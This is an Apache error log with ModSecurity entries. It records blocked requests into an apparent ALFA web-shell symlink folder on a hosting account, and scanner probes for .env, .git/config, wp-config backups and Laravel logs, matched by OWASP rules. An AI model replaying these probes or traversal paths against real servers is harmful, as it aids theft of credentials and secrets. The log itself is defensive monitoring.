[Sun Oct 25 20:11:52.285510 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 80.7.242.91:59160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/aliases
[Sun Oct 25 20:11:54.154368 2026] [core:error] [pid 2922286:tid 2922286] (13)Permission denied: [client 34.195.60.66:21735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/device:08/eject
[Sun Oct 25 20:11:54.563823 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 37.238.102.132:3870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/aliases
[Sun Oct 25 20:12:05.758918 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 185.191.171.15:62934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/red_zone
[Sun Oct 25 20:12:06.868676 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 185.191.171.16:59064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/object_size
[Sun Oct 25 20:12:10.143860 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 54.235.172.96:64830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:12:10.257377 2026] [security2:error] [pid 2926323:tid 2926323] [client 129.226.195.146:38842] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6a2i7g7KvJoU2B-eLK8AAAAAY"]
[Sun Oct 25 20:12:10.258557 2026] [authz_core:error] [pid 2926323:tid 2926323] [client 129.226.195.146:38842] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:12:14.152341 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 23.23.180.225:35055] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/unbind
[Sun Oct 25 20:12:24.973892 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 65.48.186.80:53568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/remote_node_defrag_ratio
[Sun Oct 25 20:12:26.127747 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 23.21.119.232:10021] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:12:27.259007 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 190.108.76.175:7542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/remote_node_defrag_ratio
[Sun Oct 25 20:12:29.603728 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 143.0.168.112:42447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/remote_node_defrag_ratio
[Sun Oct 25 20:12:30.146712 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 44.212.232.231:23593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:12:39.529036 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 108.14.236.83:37033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slab_size
[Sun Oct 25 20:12:43.892346 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 50.96.104.78:44305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slab_size
[Sun Oct 25 20:12:46.122905 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.45.77.169:53149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:12:46.643071 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 201.4.65.69:49430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slab_size
[Sun Oct 25 20:12:51.054613 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 177.192.23.236:8966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/sanity_checks
[Sun Oct 25 20:12:53.424819 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 149.78.153.27:57652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/sanity_checks
[Sun Oct 25 20:12:54.138838 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 18.214.251.19:41600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:12:56.454014 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 59.184.58.190:55464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/sanity_checks
[Sun Oct 25 20:12:58.119453 2026] [ssl:error] [pid 2926322:tid 2926322] (70014)End of file found: [client 3.93.211.16:25939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:13:01.552329 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 85.208.96.210:22548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/aliases
[Sun Oct 25 20:13:02.131921 2026] [ssl:error] [pid 2926850:tid 2926850] (70014)End of file found: [client 3.221.156.96:35438] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:13:07.837663 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 73.207.118.117:52621] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/min_partial
[Sun Oct 25 20:13:10.029534 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 152.58.107.226:47492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/min_partial
[Sun Oct 25 20:13:10.916136 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.212.219.113:5725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:13:12.390093 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 121.45.114.219:59308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/hwcache_align
[Sun Oct 25 20:13:12.910674 2026] [core:error] [pid 2926881:tid 2926881] (13)Permission denied: [client 93.87.121.11:17127] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/min_partial
[Sun Oct 25 20:13:14.826669 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 177.245.166.199:16764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/hwcache_align
[Sun Oct 25 20:13:17.487777 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 190.5.39.128:4288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/hwcache_align
[Sun Oct 25 20:13:22.791822 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 185.191.171.14:48190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/shrink
[Sun Oct 25 20:13:26.156617 2026] [ssl:error] [pid 2926881:tid 2926881] (70014)End of file found: [client 44.195.50.71:38500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:13:39.962999 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 186.53.148.87:34908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/hwcache_align
[Sun Oct 25 20:13:42.148305 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 54.159.98.248:39552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/subsystem/drivers/pcieport/remove_id
[Sun Oct 25 20:13:42.727544 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 172.216.15.5:52212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/hwcache_align
[Sun Oct 25 20:13:45.131762 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 172.56.66.223:25033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/hwcache_align
[Sun Oct 25 20:13:54.170897 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.235.172.96:45933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:13:54.772924 2026] [core:error] [pid 2922286:tid 2922286] (13)Permission denied: [client 47.194.223.241:53847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/align
[Sun Oct 25 20:13:58.030427 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 217.199.144.88:55422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/align
[Sun Oct 25 20:14:02.716187 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 38.77.174.223:59634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/align
[Sun Oct 25 20:14:03.953286 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 185.191.171.1:36130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/destroy_by_rcu
[Sun Oct 25 20:14:06.683048 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 67.8.8.205:53256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ghash_clmulni_intel/sections/__mcount_loc
[Sun Oct 25 20:14:09.104485 2026] [core:error] [pid 2926850:tid 2926850] (13)Permission denied: [client 191.6.50.221:36590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ghash_clmulni_intel/sections/__mcount_loc
[Sun Oct 25 20:14:11.355421 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 190.201.185.69:58520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ghash_clmulni_intel/sections/__mcount_loc
[Sun Oct 25 20:14:18.129538 2026] [ssl:error] [pid 2926850:tid 2926850] (70014)End of file found: [client 44.216.172.204:6988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:14:19.000448 2026] [core:crit] [pid 2922285:tid 2922285] (13)Permission denied: [client 45.138.12.51:34154] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 20:14:21.234811 2026] [authz_core:error] [pid 2922286:tid 2922286] [client 45.138.12.51:34270] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:14:22.115017 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:34308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at6bXl7WMIdeUbvmuUTDyAAAAAE"]
[Sun Oct 25 20:14:22.115260 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:34308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at6bXl7WMIdeUbvmuUTDyAAAAAE"]
[Sun Oct 25 20:14:22.115560 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:34308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at6bXl7WMIdeUbvmuUTDyAAAAAE"]
[Sun Oct 25 20:14:22.398500 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:34320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at6bXpYUijJJJpUKZ5VYXAAAAAI"]
[Sun Oct 25 20:14:22.398740 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:34320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at6bXpYUijJJJpUKZ5VYXAAAAAI"]
[Sun Oct 25 20:14:22.399004 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:34320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at6bXpYUijJJJpUKZ5VYXAAAAAI"]
[Sun Oct 25 20:14:22.700615 2026] [security2:error] [pid 2922333:tid 2922333] [client 45.138.12.51:53196] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at6bXiC9gidsUAz5qdCHGwAAAC8"]
[Sun Oct 25 20:14:22.700837 2026] [security2:error] [pid 2922333:tid 2922333] [client 45.138.12.51:53196] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at6bXiC9gidsUAz5qdCHGwAAAC8"]
[Sun Oct 25 20:14:22.701105 2026] [security2:error] [pid 2922333:tid 2922333] [client 45.138.12.51:53196] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at6bXiC9gidsUAz5qdCHGwAAAC8"]
[Sun Oct 25 20:14:22.994791 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53210] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at6bXkZ49PyiKUODFuf2gAAAABI"]
[Sun Oct 25 20:14:22.994853 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53210] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at6bXkZ49PyiKUODFuf2gAAAABI"]
[Sun Oct 25 20:14:22.994897 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53210] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at6bXkZ49PyiKUODFuf2gAAAABI"]
[Sun Oct 25 20:14:22.995082 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at6bXkZ49PyiKUODFuf2gAAAABI"]
[Sun Oct 25 20:14:22.995331 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at6bXkZ49PyiKUODFuf2gAAAABI"]
[Sun Oct 25 20:14:23.289102 2026] [security2:error] [pid 2926322:tid 2926322] [client 45.138.12.51:53216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/site/.env"] [unique_id "at6bX9FkJAT_B5m2Ey9vpwAAAAM"]
[Sun Oct 25 20:14:23.289304 2026] [security2:error] [pid 2926322:tid 2926322] [client 45.138.12.51:53216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/site/.env"] [unique_id "at6bX9FkJAT_B5m2Ey9vpwAAAAM"]
[Sun Oct 25 20:14:23.289584 2026] [security2:error] [pid 2926322:tid 2926322] [client 45.138.12.51:53216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/site/.env"] [unique_id "at6bX9FkJAT_B5m2Ey9vpwAAAAM"]
[Sun Oct 25 20:14:23.595901 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53220] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at6bXyML9QMr9_Qxg78JsgAAABM"]
[Sun Oct 25 20:14:23.596130 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53220] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at6bXyML9QMr9_Qxg78JsgAAABM"]
[Sun Oct 25 20:14:23.596365 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53220] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "at6bXyML9QMr9_Qxg78JsgAAABM"]
[Sun Oct 25 20:14:23.898783 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.138.12.51:53230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/storage/logs/laravel.log"] [unique_id "at6bXzmmX3asvCDITlDv9QAAAAA"]
